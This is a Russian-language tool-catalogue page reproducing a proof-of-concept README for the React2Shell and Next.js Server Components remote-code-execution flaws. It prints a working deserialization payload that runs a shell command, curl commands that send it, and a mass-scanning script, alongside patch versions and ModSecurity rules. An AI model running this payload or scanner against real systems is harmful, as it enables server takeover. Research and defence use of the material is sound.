Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-POC — Минимальный MVP для воспроизведения уязвимостей React2Shell (CVE-2025-55182) и Next.js RSC RCE (CVE-2025-66478). Включает эксплойт-пейлоад, скрипт массового сканирования и правила WAF ModSecurity для смягчения. | Kitploit
Инструменты/GitHubGitHub/huahuai23/cve-2025-55182-poc
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеОбучение и Образование
GitHubhuahuai23/cve-2025-55182-poc

CVE-2025-55182-POC

Минимальный MVP для воспроизведения уязвимостей React2Shell (CVE-2025-55182) и Next.js RSC RCE (CVE-2025-66478). Включает эксплойт-пейлоад, скрипт массового сканирования и правила WAF ModSecurity для смягчения.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
18 месяцев назадЕщё не проверено

CVE-2025-55182 / CVE-2025-66478 Среда для воспроизведения уязвимостей

Это минимальный MVP для воспроизведения уязвимостей React2Shell (CVE-2025-55182) и Next.js RSC RCE (CVE-2025-66478).

⚠️ Предупреждение

Этот проект предназначен только для целей исследования безопасности и образования. Не используйте его в производственных средах или на неавторизованных системах.

Обзор уязвимости

CVE-2025-55182 — это критическая уязвимость в React Server Components, затрагивающая:

  • React: 19.0.0, 19.1.0, 19.1.1, 19.2.0
  • Next.js: ≥14.3.0-canary.77, ≥15, ≥16

Злоумышленник может использовать специально сформированный запрос multipart/form-data для эксплуатации уязвимости десериализации в протоколе Flight, что приводит к удаленному выполнению кода (RCE).

Принцип атаки

  1. Получение ссылки на Chunk: используйте синтаксис $@N для получения внутреннего объекта Chunk
  2. Загрязнение цепочки прототипов: внедрение вредоносного метода then через $1:__proto__:then
  3. Триггер выполнения: Server Action при ожидании (await) вызывает загрязненный метод then
  4. Перехват конструктора: перехват _formData.get как конструктора Function
  5. Выполнение кода: выполнение произвольного кода через десериализацию Blob

Быстрый старт

1. Установка зависимостей

root@kitploit:~
npm install
# или
yarn install
# или
pnpm install

2. Запуск сервера разработки

root@kitploit:~
npm run dev

Сервер будет запущен на http://localhost:3000.

3. Тестирование уязвимости

Используйте предоставленный скрипт тестирования:

root@kitploit:~
# Тестирование одного целевого объекта
./test-exploit.sh http://localhost:3000

# или напрямую через curl
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  --data-binary @exploit-payload.txt

Если уязвимость существует, вы увидите в ответе вывод, подобный uid= (результат выполнения команды id).

Структура файлов

root@kitploit:~
.
├── app/
│   ├── actions.ts              # Server Actions (точка срабатывания уязвимости)
│   ├── page.tsx                # Главная страница
│   ├── layout.tsx              # Макет
│   └── globals.css             # Глобальные стили
├── package.json                # Конфигурация зависимостей (используются уязвимые версии)
├── next.config.js              # Конфигурация Next.js
├── test-exploit.sh             # Скрипт тестирования уязвимости для одного целевого объекта
├── scan-targets.sh             # Скрипт массового сканирования
├── exploit-payload.txt         # Файл с эксплойт-полезной нагрузкой (payload)
├── Cve-2025-55182-modsecurity-rules.conf      # Правила защиты ModSecurity
└── README.md                   # Этот файл

Описание тестовых скриптов

1. test-exploit.sh — тестирование одного целевого объекта

Проверяет один URL на наличие уязвимости:

root@kitploit:~
chmod +x test-exploit.sh
./test-exploit.sh http://localhost:3000

Особенность: если ответ содержит uid= или gid=, уязвимость существует.

2. scan-targets.sh — массовое сканирование

Массовое сканирование нескольких целевых URL:

root@kitploit:~
# Создайте файл со списком целей
cat > targets.txt << EOF
http://localhost:3000
https://example.com
https://api.example.com:8080
EOF

# Выполните массовое сканирование
chmod +x scan-targets.sh
./scan-targets.sh targets.txt

Результаты сканирования будут сохранены в vulnerable_hosts.csv.

Разбор структуры Payload

root@kitploit:~
{
  "then": "$1:__proto__:then",           // перехват метода then
  "status": "resolved_model",             // управление путем выполнения
  "reason": -1,
  "value": "{\"then\":\"$B1337\"}",      // триггер десериализации Blob
  "_response": {
    "_prefix": "var res=process.mainModule.require('child_process').execSync('id',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});",
    "_chunks": "$Q2",
    "_formData": {
      "get": "$1:constructor:constructor"  // перехват как Function
    }
  }
}

Ключевые моменты:

  1. $@0: ссылается на первое поле form-data, получает объект Chunk
  2. $1:proto:then: доступ к Chunk.prototype.then
  3. _response._prefix: внедренный вредоносный код (будет выполнен конструктором Function)
  4. $1:constructor:constructor: Object.constructor.constructor = Function

Способы исправления

Вариант 1: Обновление до исправленных версий (рекомендуется)

  • React: 19.0.1, 19.1.2, 19.2.1 или выше
  • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7 или выше
root@kitploit:~
npm install [email protected] [email protected] [email protected]

Вариант 2: Развертывание правил WAF ModSecurity (временное смягчение)

Если немедленное обновление невозможно, можно временно развернуть правила ModSecurity.

Apache + mod_security

root@kitploit:~
# 1. Установка mod_security
sudo apt-get install libapache2-mod-security2

# 2. Копирование файла правил
sudo cp modsecurity-rules.conf /etc/modsecurity/

# 3. Подключение правил в конфигурации Apache
sudo vim /etc/apache2/mods-enabled/security2.conf
# Добавить: Include /etc/modsecurity/modsecurity-rules.conf

# 4. Перезапуск Apache
sudo systemctl restart apache2

Nginx + ModSecurity

root@kitploit:~
# 1. Установка ModSecurity для Nginx
sudo apt-get install libnginx-mod-security

# 2. Копирование файла правил
sudo cp modsecurity-rules.conf /etc/nginx/modsec/

# 3. Включение в конфигурации Nginx
sudo vim /etc/nginx/nginx.conf
# В блок http или server добавить:
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/modsecurity-rules.conf;

# 4. Перезапуск Nginx
sudo systemctl restart nginx

Обнаруживаемые признаки правилами

Правила ModSecurity будут блокировать следующие признаки:

  • ✅ Признаки протокола Flight ($@N, $BN)
  • ✅ Загрязнение цепочки прототипов (__proto__, constructor:constructor)
  • ✅ Опасные вызовы модулей Node.js (process.mainModule.require, require('child_process'))
  • ✅ Функции выполнения команд (execSync, exec)
  • ✅ Операции с внутренними объектами (_response, _chunks, _formData, _prefix)
  • ✅ Заголовки запросов Server Action (Next-Action, RSC-Action-ID)

⚠️ Внимание: Правила WAF — это лишь временная мера смягчения, они не обеспечивают полную защиту. Обновление до исправленных версий обязательно.

Рекомендации по безопасности

Если ваше приложение может быть затронуто:

  1. Немедленно протестируйте: используйте скрипт test-exploit.sh для проверки вашего приложения
  2. Немедленно обновитесь: обновите до исправленных версий
  3. Смените ключи: смените все переменные окружения, API-ключи, пароли баз данных
  4. Аудит логов: проверьте журналы доступа на предмет подозрительных запросов Next-Action
  5. Разверните WAF: разверните правила ModSecurity в качестве временной защиты до обновления

Быстрая проверка с помощью curl

Если вы хотите протестировать напрямую через curl (без использования скрипта):

root@kitploit:~
curl -X POST http://localhost:3000/ \
  -H "Next-Action: x" \
  -H "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad" \
  -H "X-Nextjs-Request-Id: b5dce965" \
  --data-binary @exploit-payload.txt

Если ответ содержит uid= или gid=, уязвимость существует.

Ссылки

  • Официальное объявление Vercel
  • React GHSA
  • Next.js GHSA
  • CVE PoC (React)
  • CVE Scanner (Next.js)
  • Документация ModSecurity

Благодарности

  • Lachlan Davidson — обнаружение и ответственное раскрытие уязвимости
  • Meta Security & React Team
  • Vercel Team

Лицензия

Этот проект предназначен только для образовательных целей. При использовании этого кода соблюдайте соответствующие законы и нормативные акты.

Скачать инструмент